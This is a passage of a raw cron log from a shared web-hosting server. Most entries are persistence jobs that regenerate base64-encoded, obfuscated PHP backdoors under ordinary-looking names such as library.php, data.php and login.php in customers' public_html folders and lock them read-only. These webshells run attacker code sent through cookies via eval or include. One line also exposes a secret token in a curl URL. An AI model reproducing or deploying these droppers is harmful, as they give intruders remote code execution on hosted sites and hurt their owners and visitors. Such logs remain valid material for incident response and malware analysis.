bnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:36:02 medusa CROND[30554]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:37:01 medusa CROND[32095]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 05:37:01 medusa CROND[32111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:37:01 medusa CROND[32112]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:37:01 medusa CROND[32114]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:37:01 medusa CROND[32115]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:37:01 medusa CROND[32116]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:37:01 medusa CROND[32118]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:37:01 medusa CROND[32117]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:37:01 medusa CROND[32119]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:37:01 medusa CROND[32120]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 05:37:01 medusa CROND[32121]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:37:02 medusa CROND[32145]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:37:02 medusa CROND[32122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:38:01 medusa CROND[1622]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:38:01 medusa CROND[1628]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:38:01 medusa CROND[1631]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:38:01 medusa CROND[1630]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:38:01 medusa CROND[1633]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:38:01 medusa CROND[1634]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:38:01 medusa CROND[1632]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:38:01 medusa CROND[1635]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:38:01 medusa CROND[1638]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 05:38:01 medusa CROND[1639]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:38:01 medusa CROND[1647]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:38:01 medusa CROND[1648]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
